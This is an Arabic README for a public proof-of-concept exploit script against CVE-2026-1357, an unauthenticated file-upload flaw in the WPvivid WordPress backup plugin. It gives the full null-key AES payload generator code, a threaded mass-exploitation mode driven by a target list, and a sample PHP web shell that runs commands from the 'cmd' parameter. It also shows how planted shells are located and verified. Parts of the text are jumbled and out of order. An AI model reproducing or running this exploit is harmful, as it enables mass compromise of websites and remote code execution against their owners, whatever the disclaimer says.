
Migration, Backup, Staging <= 0.9.123 - رفع ملف تعسفي بدون مصادقة
CVE-2026-1357.py)الترحيل، النسخ الاحتياطي، التدريج – WPvivid Backup & Migration ≤ 0.9.123
الثغرة: رفع ملفات تعسفي بدون مصادقة → تنفيذ تعليمات برمجية عن بُعد
CVE: CVE-2026-1357 – CVSS 9.8 (حرجة)
GitHub: https://github.com/Nxploited
Telegram: @KNxploited
CVE-2026-1357.py هو أداة استغلال لإثبات المفهوم لثغرة WPvivid. يركز على معالجة جلسات AES المعيبة التي تسمح للمهاجم بـ:
name) داخل الحمولة.wpvivid_action=send_to_site.لا يحاول السكربت تخمين أو إساءة استخدام المفاتيح الخاصة مباشرة. بدلاً من ذلك، يحاكي تدفق WPvivid المعطوب حيث يؤدي فشل openssl_private_decrypt() إلى تهيئة تشفير AES الخاص بـ phpseclib بمفتاح فارغ.
جوهر الاستغلال موجود في gen_wpvivid_payload():
يقوم ببناء بنية JSON:
{
"name": "<file_name>",
"offset": 0,
"data": "<base64(file_bytes)>",
"file_size": <len(file_bytes)>,
"md5": "<md5(file_bytes)>"
}
يقوم بتسلسل JSON هذا (بصيغة مضغوطة، بدون مسافات).
يقوم بتشفير JSON باستخدام:
AES-128-CBCkey = b"\x00" * 16iv = b"\x00" * 16ثم يضيف في البداية:
"000" (عنصر نائب لحقل الطول الثابت)."{len(cipher):016X}".الكتلة المشفرة النهائية هي:
"000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
يتم ترميز هذه الكتلة بـ base64 وإرجاعها كقيمة wpvivid_content النهائية.
الدالة:
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
file_md5 = hashlib.md5(file_bytes).hexdigest()
json_obj = {
"name": file_name,
"offset": 0,
"data": base64.b64encode(file_bytes).decode(),
"file_size": len(file_bytes),
"md5": file_md5,
}
json_str = json.dumps(json_obj, separators=(",", ":")).encode()
cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
encrypted = cipher.encrypt(pad(json_str, AES.block_size))
key_len_field = b"000"
cipherlen_field = f"{len(encrypted):016X}".encode()
blob = key_len_field + cipherlen_field + encrypted
return base64.b64encode(blob).decode()
هذا يطابق توقعات فك التشفير في WPvivid داخل مسار الكود المعرض للخطر بعد فشل فك تشفير RSA.
يحتوي السكربت على وضعين رئيسيين بالإضافة إلى قدرة الاختبار الجماعي:
mood1 – مولّد الحمولة
wpvivid_content صالحة باستخدام خدعة المفتاح الفارغ.mood2 – اختبار هدف واحد
الوضع الجماعي (من mood1)
python3 CVE-2026-1357.py
ستظهر واجهة قائمة على Rich مع لافتة واختيار الوضع:
mood1 – مولّد الحمولةmood2 – اختبار هدف واحدwpvivid_content) ترمز إلى:
اختيار الوضع
عند المطالبة:
Choose mode (mood1/mood2) [mood1]:
اضغط Enter (الافتراضي هو mood1) أو اكتب mood1.
اسم/مسار الملف الهدف
يُطلب منك:
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
أمثلة:
لوضع ملف في دليل نسخ WPvivid الاحتياطية:
Nx_.php
لاستغلال اجتياز الدليل (إذا كان مسموحًا به من الهدف):
../../public_html/Nx_.php
القيمة تُوضع في حقل name من حمولة JSON.
وضع إدخال المحتوى
يعرض السكربت ثلاث طرق لتحديد محتوى الملف:
EOF).shell.php).بعد توليد الحمولة، يسأل السكربت:
Auto-send this payload to targets list (mass mode)? (y/N):
إذا أجبت بـ y، يبدأ الوضع الجماعي بالحمولة واسم الملف اللذين أنشأتهما للتو.
ملف الأهداف
مثال للمطالبة:
Targets list file (one URL per line):
الصيغة المتوقعة للملف (مثل targets.txt):
https://site1.com
site2.com
http://site3.net
سيقوم السكربت تلقائيًا بتطبيع روابط الأساس (إضافة البروتوكول عند غيابه).
عدد الخيوط
Threads (concurrent sites) [5]:
يتحكم في عدد المواقع التي تتم معالجتها بالتوازي.
منطق كل هدف
لكل هدف:
تطبيع الرابط → base_url.
استدعاء:
send_wpvivid_payload(base_url, payload)
والذي:
wpvivid_action=send_to_site + wpvivid_content=<payload>.{"result":"success"} (فحص بالصيغة المضغوطة).wpvivid_payload.txt أو مصدر خارجي) ضد رابط واحد، والتحقق من الملف الناتج.رابط الهدف
المطالبة:
Target base URL (e.g., https://site.com):
مثال:
https://victim.com
يقوم السكربت بتطبيع هذا إلى رابط أساس مثل:
https://victim.com
اسم الملف
المطالبة:
Expected file name (e.g., Nx_.php):
هذا هو الاسم/المسار الذي تتوقعه أن يكتبه WPvivid (مطابقًا لما رمّزته في حقل name داخل الحمولة).
إدخال الحمولة
المطالبة:
Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
wpvivid_content=...، فسيتم إزالة البادئة.التنفيذ
يقوم السكربت بـ:
إرسال POST يحتوي wpvivid_action=send_to_site + قيمة wpvivid_content الخاصة بك.
هذا الوضع مثالي للاستخدام اليدوي / اختبارات المختبر لموقع واحد مع تحكم دقيق في الحمولة.
wpvivid_payload.txt
mood1.file_name=<file_name_you_chose>wpvivid_content=<payload>Nx_.txt
mood1 (الوضع الجماعي) وmood2.هذه الأداة مخصصة حصريًا من أجل:
باستخدامك لهذا السكربت، فأنت توافق على أن:
استخدمه على مسؤوليتك الخاصة وفقط لاختبارات أمنية مشروعة.
Nxploited (Khaled Alenazi)https://github.com/Nxploited@KNxploitedللتحديثات والأدوات والمحتوى المتعلق بالبحث الأمني، تابع قناة Telegram:
👉 @KNxploited
يُطلب منك:
Mode [1/2/3] [1]:
الوضع 1 – سطر واحد
Single line content:
مثال للإدخال:
<?php phpinfo();
الوضع 2 – متعدد الأسطر
Enter file content, line by line. Type 'EOF' on its own line when done.
يمكنك لصق أو كتابة سكربت PHP متعدد الأسطر، ثم إنهاء بـ EOF في سطر مستقل:
<?php
echo "Nxploited shell";
system($_GET['cmd'] ?? 'id');
?>
EOF
الوضع 3 – ملف محلي
Local file path (e.g., shell.php):
يقرأ السكربت الملف بالكامل إلى file_bytes.
توليد الحمولة
بمجرد التقاط المحتوى، يقوم السكربت بـ:
سترى مخرجات مثل:
Payload generated.
Use the value after '=' as wpvivid_content.
wpvivid_content=BASE64_BLOB_HERE
ويتم كتابة ملف wpvivid_payload.txt:
file_name=Nx_.php
wpvivid_content=BASE64_BLOB_HERE
إذا اعتُبر الرفع ناجحًا:
يبني shell_url كالتالي:
f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
يحفظه في Nx_.txt.
يحاول verify_written_file():
shell_url بـ GET.status_code == 200، يعلّمه كموثّق.إذا حدث أي خطأ:
short_reason():
الواجهة
[OK] <shell_url> عند النجاح.[FAIL] <base> (reason: ...) عند الخطأ.[!] Not verified (...) عندما يكون الرفع قد نجح على الأرجح لكن التحقق فشل.إذا أشارت الاستجابة إلى النجاح، يقوم ببناء:
<base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
ويطبع [OK] مع ذلك الرابط.
يضيف الروابط الناجحة إلى Nx_.txt.
يحاول التحقق عبر verify_written_file() ويطبع النتيجة.